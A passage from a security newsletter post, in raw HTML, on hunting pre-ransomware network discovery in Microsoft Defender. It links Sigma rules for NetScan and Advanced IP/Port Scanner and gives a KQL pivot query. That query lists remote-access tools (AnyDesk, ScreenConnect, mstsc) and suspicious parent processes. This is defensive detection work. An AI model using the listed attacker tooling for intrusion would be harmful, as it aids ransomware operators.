srcset="https://substackcdn.com/image/fetch/$s_!z-F_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png 424w, https://substackcdn.com/image/fetch/$s_!z-F_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png 848w, https://substackcdn.com/image/fetch/$s_!z-F_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png 1272w, https://substackcdn.com/image/fetch/$s_!z-F_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1719d4a4-677e-41ed-9e17-8f5e239d8ad3_1337x760.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><blockquote><p>All of the above queries are also uploaded to <a href="https://github.com/Securityinbits/defender-hunt-queries/blob/main/discovery-tools.md">GitHub</a>.</p></blockquote><div><hr></div><h2>Cross-reference: Sigma rules</h2><p>Useful for cross-checking output, or porting to Splunk or CrowdStrike:</p><ul><li><p><a href="https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_pua_netscan.yml">PUA: SoftPerfect Netscan Execution</a></p></li><li><p><a href="https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_pua_advanced_ip_scanner.yml">PUA: Advanced IP Scanner Execution</a></p></li><li><p><a href="https://github.com/SigmaHQ/sigma/blob/master/rules/windows/file/file_event/file_event_win_advanced_ip_scanner.yml">Advanced IP Scanner: File Event</a></p></li><li><p><a href="https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_pua_advanced_port_scanner.yml">PUA: Advanced Port Scanner Execution</a></p></li></ul><p>The queries are the first payload. The second is what the queries actually prove when they fire.</p><h1>4. The signal hiding inside the detection</h1><p>NetScan can run headless. Advanced IP Scanner and Advanced Port Scanner cannot. <strong>They are GUI-only.</strong></p><p>A hit on AIPS or APS is not just a discovery alert. <strong>It is an RDP, RMM, or VDI session alert by implication.</strong> GUI tools need a desktop session. No desktop session, no GUI scan. If a GUI scanner ran on a host with no admin session active at that time, an attacker had interactive access.</p><p>Rule out admin use first. Then pivot the hunt to the same host, &#177;2 hours from the scanner hit:</p><pre><code>let HitHost = "SERVER01";
let HitTime = datetime(2026-05-10T14:00:00);
DeviceProcessEvents
| where DeviceName =~ HitHost
| where Timestamp between (HitTime - 2h .. HitTime + 2h)
| where FileName in~ ("mstsc.exe", "AnyDesk.exe", "ScreenConnect.ClientService.exe", "AteraAgent.exe", "Splashtop.exe")
| project Timestamp, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName</code></pre><h1>5. Run it today</h1><p>Four steps.</p><ol><li><p>Run the process query over the last 30 days.</p></li><li><p>Filter out IT admin accounts and known scanning hosts (vuln scanner, asset management agent). Allowlist by hostname or account, not by tool name. Legitimate IT teams use these tools too.</p></li><li><p>For each remaining hit, check parent process and account context. If parent is <code>cmd.exe</code>, <code>powershell.exe</code>, <code>bitsadmin.exe</code>, or anything launched from <code>C:\Users\Public\</code> or <code>Temp dir</code>, escalate immediately.</p></li><li><p>For AIPS or APS hits, run the Section 4 pivot. If RDP or RMM activity surfaces in the &#177;2h window tied to the scanner hit, scope the incident and start IR containment.</p></li></ol><p>You just got a rear-view of pre-ransomware activity in your environment. Not theoretical. Tested in a lab against Sliver C2 and ready to paste into your SIEM today.</p><p>This catches three tools, not all pre-ransomware activity. RMM is the next layer, and it sits right next to discovery in every kill chain. Same format coming.</p><p>If you run the queries and find something (or find nothing), tell me on <strong>X</strong>. Reposts and likes help the next defender find this too.</p><p>Ransomware groups don&#8217;t innovate at the discovery phase. That&#8217;s the gift. Your environment doesn&#8217;t have to be number 4,114.</p><h1>References</h1><p><a href="https://www.ransomware.live/stats/2026">Ransomware Statistics &#8212; 2026</a> </p><p><a href="https://github.com/BushidoUK/Ransomware-Tool-Matrix/">GitHub - BushidoUK/Ransomware-Tool-Matrix</a></p><div><hr></div><p></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Securityinbits! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item></channel></rss>